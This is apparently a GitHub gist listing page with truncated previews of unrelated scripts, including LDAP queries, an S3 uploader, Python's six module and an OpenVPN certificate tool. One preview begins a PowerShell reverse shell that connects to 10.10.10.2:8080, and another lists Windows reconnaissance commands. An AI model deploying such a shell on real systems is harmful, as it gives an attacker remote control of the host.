This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Get info about all Contexts in ldap | |
| ldapsearch -x -H ldap://localhost -b "" -s base configContext namingContexts monitorContext | |
| # display cn=config structures and data | |
| ldapsearch -Y EXTERNAL -H ldapi:/// -b "cn=config" | |
| # or | |
| slapcat -b cn=config > config.ldiff | |
| # modify config |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # This is a super **SIMPLE** example of how to create a very basic powershell webserver | |
| # 2019-05-18 UPDATE — Created by me and and evalued by @jakobii and the comunity. | |
| # Http Server | |
| $http = [System.Net.HttpListener]::new() | |
| # Hostname and port to listen on | |
| $http.Prefixes.Add("http://localhost:8080/") | |
| # Start the Http Server |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python | |
| """Utilities for writing code that runs on Python 2 and 3""" | |
| import operator | |
| import sys | |
| import types | |
| __author__ = "Benjamin Peterson <benjamin@python.org>" | |
| __version__ = "1.2.0" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // What system are we connected to? | |
| systeminfo | findstr /B /C:"OS Name" /C:"OS Version" | |
| // Get the hostname and username (if available) | |
| hostname | |
| echo %username% | |
| // Get users | |
| net users | |
| net user [username] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/python | |
| # -*- encoding: iso-8859-1 -*- | |
| """ | |
| Python syslog client. | |
| This code is placed in the public domain by the author. | |
| Written by Christian Stigen Larsen. | |
| This is especially neat for Windows users, who (I think) don't |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # You don't need Fog in Ruby or some other library to upload to S3 -- shell works perfectly fine | |
| # This is how I upload my new Sol Trader builds (http://soltrader.net) | |
| # Based on a modified script from here: http://tmont.com/blargh/2014/1/uploading-to-s3-in-bash | |
| S3KEY="my aws key" | |
| S3SECRET="my aws secret" # pass these in | |
| function putS3 | |
| { | |
| path=$1 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $socket = new-object System.Net.Sockets.TcpClient('10.10.10.2', 8080); | |
| if($socket -eq $null){exit 1} | |
| $stream = $socket.GetStream(); | |
| $writer = new-object System.IO.StreamWriter($stream); | |
| $buffer = new-object System.Byte[] 1024; | |
| $encoding = new-object System.Text.AsciiEncoding; | |
| do{ | |
| $writer.Write("> "); | |
| $writer.Flush(); | |
| $read = $null; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import os | |
| import socket | |
| from OpenSSL import crypto, SSL | |
| # OpenVPN is fairly simple since it works on OpenSSL. The OpenVPN server contains | |
| # a root certificate authority that can sign sub-certificates. The certificates | |
| # have very little or no information on who they belong to besides a filename | |
| # and any required information. Everything else is omitted or blank. | |
| # The client certificate and private key are inserted into the .ovpn file | |
| # which contains some settins as well and the entire thing is then ready for |
OlderNewer

